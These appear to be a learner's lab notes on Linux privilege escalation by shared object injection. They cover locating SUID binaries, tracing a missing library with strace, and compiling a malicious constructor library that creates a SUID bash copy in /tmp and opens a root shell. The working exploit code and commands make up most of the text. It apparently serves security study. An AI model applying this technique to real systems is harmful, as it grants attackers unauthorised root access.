Shared Object Injection

how to find:

find / -type f -perm -04000 -ls 2>/dev/null

result:

SO Injection

this one is suid-so. why?

/usr/local/bin/suid-so

strace: debugging, see what the program does

how to strace?

strace /usr/local/bin/suid-so 2>&1

it shows that it’s looking for some files that don’t exist

cleaner output:

strace /usr/local/bin/suid-so 2>&1 | grep -i -E "open|access|no such file"

we can see what the program tries to run that doesn’t exist so we can override it with something that gives us higher privileges.

for example:

we can check:

ls -la /home/user/.config/libcalc.so

no such

ls -la /home/user/.config

no such

ls -la /home/user/

this is our user’s home folder, we have write access to it. We can create the file that doesn’t exist with malicious code (that priv escs)

#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
	system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

we copy bash to temp and give it perms (SUID) and run it

in this case, we make a folder and file:

cd /home/user/
mkdir .config
nano libcalc.c
ctrl+x
y

gcc:

gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/libcalc.c

then run the suid-so again:

/usr/local/bin/suid-so